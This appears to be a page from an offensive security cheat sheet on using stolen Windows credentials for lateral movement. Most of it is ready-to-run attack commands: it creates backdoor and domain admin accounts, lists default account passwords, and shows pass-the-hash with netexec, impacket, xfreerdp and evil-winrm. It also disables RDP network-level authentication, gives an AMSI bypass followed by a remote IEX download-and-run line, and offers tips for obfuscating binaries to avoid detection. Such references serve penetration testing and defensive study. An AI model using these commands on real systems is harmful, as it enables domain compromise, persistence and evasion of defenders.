Skip to content

Windows - Using credentials


Get credentials

Create your credential

net user hacker Hcker_12345678* /add /Y
net localgroup administrators hacker /add
net localgroup "Remote Desktop Users" hacker /add # RDP access
net localgroup "Backup Operators" hacker /add # Full access to files
net group "Domain Admins" hacker /add /domain

# enable a domain user account
net user hacker /ACTIVE:YES /domain

# prevent users from changing their password
net user username /Passwordchg:No

# prevent the password to expire
net user hacker /Expires:Never

# create a machine account (not shown in net users)
net user /add evilbob$ evilpassword

# homoglyph Aԁmіnistratοr (different of Administrator)

Some info about your user

net user /dom
net user /domain

Guest Credential

By default every Windows machine comes with a Guest account, its default password is empty.

Username: Guest
Password: [EMPTY]
NT Hash: 31d6cfe0d16ae931b73c59d7e0c089c0

Retail Credential

Retail Credential @m8urnett on Twitter

when you run Windows in retail demo mode, it creates a user named Darrin DeYoung and an admin RetailAdmin

Username: RetailAdmin
Password: trs10

Sandbox Credential

WDAGUtilityAccount - @never_released on Twitter

Starting with Windows 10 version 1709 (Fall Creators Update), it is part of Windows Defender Application Guard

Username: wdagutilityaccount
Password: pw123


Using mpgn/netexec

  • netexec supports many protocols
    netexec ldap -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0" 
    netexec mssql -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0"
    netexec rdp -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0" 
    netexec smb -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0"
    netexec winrm -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0"
  • netexec works with password, NT hash and Kerberos authentication
    netexec smb -u Administrator -p "Password123?" # Password
    netexec smb -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0" # NT Hash
    export KRB5CCNAME=/tmp/kerberos/admin.ccache; netexec smb -u admin --use-kcache # Kerberos


From fortra/impacket (⚠ renamed to impacket-xxxxx in Kali)
⚠ get / put for wmiexec, psexec, smbexec, and dcomexec are changing to lget and lput.
⚠ French characters might not be correctly displayed on your output, use -codec ibm850 to fix this.
⚠ By default, Impacket's scripts are stored in the examples folder: impacket/examples/

All Impacket's *exec scripts are not equal, they will target services hosted on multiples ports. The following table summarize the port used by each scripts.

Method Port Used Admin Required tcp/445 Yes tcp/445 No tcp/445 No tcp/135, tcp/445, tcp/49751 (DCOM) No tcp/135, tcp/445, tcp/50911 (Winmgmt) Yes
  • psexec: equivalent of Windows PSEXEC using RemComSvc binary. DOMAIN/username:password@
  • smbexec: a similar approach to PSEXEC w/o using RemComSvc DOMAIN/username:password@
  • atexec: executes a command on the target machine through the Task Scheduler service and returns the output of the executed command. DOMAIN/username:password@
  • dcomexec: a semi-interactive shell similar to, but using different DCOM endpoints DOMAIN/username:password@
  • wmiexec: a semi-interactive shell, used through Windows Management Instrumentation. First it uses ports tcp/135 and tcp/445, and ultimately it communicates with the Winmgmt Windows service over dynamically allocated high port such as tcp/50911. DOMAIN/username:password@ DOMAIN/username@ -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

To allow Non-RID 500 local admin accounts performing Wmi or PsExec, execute: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /f /d 1 To prevent RID 500 from being able to WmiExec or PsExec, execute: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v FilterAdministratorToken /t REG_DWORD /f /d 1


Instead of uploading psexeccsv service binary, it uploads to ADMIN$ a service binary with an arbitrary name. PSExec default kavika13/RemCom binary is 10 years old, you might want to rebuild it and obfuscate it to reduce detections (snovvcrash/

Use a custom binary and service name with : Administrator:Password123@IP -service-name customservicename -remote-binary-name custombin.exe

Also a custom file can be specified with the parameter : -file /tmp/RemComSvcCustom.exe.
You need to update the pipe name to match "Custom_communication" in the line 163

162    tid = s.connectTree('IPC$')
163    fid_main = self.openPipe(s,tid,r'\RemCom_communicaton',0x12019f)

Alternatively you can use the fork ThePorgs/impacket.


Use a non default share -share SHARE to write the output to reduce the detection.
By default this command is executed : cmd.exe /Q /c cd 1> \\\ADMIN$\__RANDOM 2>&1


It creates a service with the name BTOBTO ( and transfers commands from the attacker in a bat file in %TEMP/execute.bat (

OUTPUT_FILENAME = '__output'
BATCH_FILENAME  = 'execute.bat'
SMBSERVER_DIR   = '__tmp'

It will create a new service every time we execute a command. It will also generate an Event 7045.

By default this command is executed: %COMSPEC% /Q /c echo dir > \\\C$\__output 2>&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat, where %COMSPEC% points to C:\WINDOWS\system32\cmd.exe.

class RemoteShell(cmd.Cmd):
    def __init__(self, share, rpc, mode, serviceName, shell_type):
        self.__share = share
        self.__mode = mode
        self.__output = '\\\\\\' + self.__share + '\\' + OUTPUT_FILENAME
        self.__batchFile = '%TEMP%\\' + BATCH_FILENAME
        self.__outputBuffer = b''
        self.__command = ''
        self.__shell = '%COMSPEC% /Q /c '
        self.__shell_type = shell_type
        self.__pwsh = 'powershell.exe -NoP -NoL -sta -NonI -W Hidden -Exec Bypass -Enc '
        self.__serviceName = serviceName

RDP Remote Desktop Protocol

⚠ NOTE: You may need to enable RDP and disable NLA and fix CredSSP errors.

# Enable RDP
PS C:\> reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x00000000 /f
PS C:\> netsh firewall set service remoteadmin enable
PS C:\> netsh firewall set service remotedesktop enable
# Alternative
C:\> psexec \\machinename reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0
root@payload$ netexec -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable

# Fix CredSSP errors
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f

# Disable NLA
PS > (Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -ComputerName "PC01" -Filter "TerminalName='RDP-tcp'").UserAuthenticationRequired
PS > (Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -ComputerName "PC01" -Filter "TerminalName='RDP-tcp'").SetUserAuthenticationRequired(0)

Abuse RDP protocol to execute commands remotely with the following commands;

  • rdesktop
    root@payload$ rdesktop -d DOMAIN -u username -p password -g 70 -r disk:share=/home/user/myshare
    root@payload$ rdesktop -u username -p password -g 70% -r disk:share=/tmp/myshare
    # -g : the screen will take up 70% of your actual screen size
    # -r disk:share : sharing a local folder during a remote desktop session 
  • freerdp
    root@payload$ xfreerdp /v: /u:'Username' /p:'Password123!' +clipboard /cert-ignore /size:1366x768 /smart-sizing
    root@payload$ xfreerdp /v: /u:username # password will be asked
    # pass the hash using Restricted Admin, need an admin account not in the "Remote Desktop Users" group.
    # pass the hash works for Server 2012 R2 / Win 8.1+
    # require freerdp2-x11 freerdp2-shadow-x11 packages instead of freerdp-x11
    root@payload$ xfreerdp /v: /u:username /d:domain /pth:88a405e17c0aa5debbc9b5679753939d  
  • SharpRDP
    PS C:\> SharpRDP.exe computername=target.domain command="C:\Temp\file.exe" username=domain\user password=password

Powershell Remoting Protocol

Powershell Credentials

PS> $pass = ConvertTo-SecureString 'supersecurepassword' -AsPlainText -Force
PS> $cred = New-Object System.Management.Automation.PSCredential ('DOMAIN\Username', $pass)

Powershell PSSESSION

  • Enable PSRemoting on the host

    Enable-PSRemoting -Force
    net start winrm  
    # Add the machine to the trusted hosts
    Set-Item wsman:\localhost\client\trustedhosts *
    Set-Item WSMan:\localhost\Client\TrustedHosts -Value ""

  • Execute a single command

    PS> Invoke-Command -ComputerName DC -Credential $cred -ScriptBlock { whoami }
    PS> Invoke-Command -computername DC01,CLIENT1 -scriptBlock { Get-Service }
    PS> Invoke-Command -computername DC01,CLIENT1 -filePath c:\Scripts\Task.ps1

  • Interact with a PS Session

    PS> Enter-PSSession -computerName DC01
    [DC01]: PS>
    # one-to-one execute scripts and commands
    PS> $Session = New-PSSession -ComputerName CLIENT1
    PS> Invoke-Command -Session $Session -scriptBlock { $test = 1 }
    PS> Invoke-Command -Session $Session -scriptBlock { $test }

Powershell Secure String

$aesKey = (49, 222, 253, 86, 26, 137, 92, 43, 29, 200, 17, 203, 88, 97, 39, 38, 60, 119, 46, 44, 219, 179, 13, 194, 191, 199, 78, 10, 4, 40, 87, 159)
$secureObject = ConvertTo-SecureString -String "76492d11167[SNIP]MwA4AGEAYwA1AGMAZgA=" -Key $aesKey
$decrypted = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureObject)
$decrypted = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($decrypted)

WinRM Protocol

Requirements: * Port 5985 or 5986 open. * Default endpoint is /wsman

If WinRM is disabled on the system you can enable it using: winrm quickconfig

The easiest way to interact over WinRM on Linux is with Hackplayers/evil-winrm

evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM]
evil-winrm -i -u username -H HASH
evil-winrm -i -u username -p password -r domain.local

*Evil-WinRM* PS > Bypass-4MSI
*Evil-WinRM* PS > IEX([Net.Webclient]::new().DownloadString(""))

WMI Protocol

PS C:\> wmic /node:target.domain /user:domain\user /password:password process call create "C:\Windows\System32\calc.exe”

SSH Protocol

⚠ You cannot pass the hash to SSH

  • Connect using username/password of a Domain User

    ssh -l user@domain

  • Connect with a Kerberos ticket

    cp user.ccache /tmp/krb5cc_1045
    ssh -o GSSAPIAuthentication=yes user@domain.local -vv

Other methods

PsExec - Sysinternal

From Windows - Sysinternal

PS C:\> PsExec.exe  \\srv01.domain.local -u DOMAIN\username -p password cmd.exe

# switch admin user to NT Authority/System
PS C:\> PsExec.exe  \\srv01.domain.local -u DOMAIN\username -p password cmd.exe -s 

Mount a remote share

PS C:\> net use \\srv01.domain.local /user:DOMAIN\username password C$

Runas as another user

Runas is a command-line tool that is built into Windows Vista. Allows a user to run specific tools and programs with different permissions than the user's current logon provides.

PS C:\> runas /netonly /user:DOMAIN\username "cmd.exe"
PS C:\> runas /noprofil /netonly /user:DOMAIN\username cmd.exe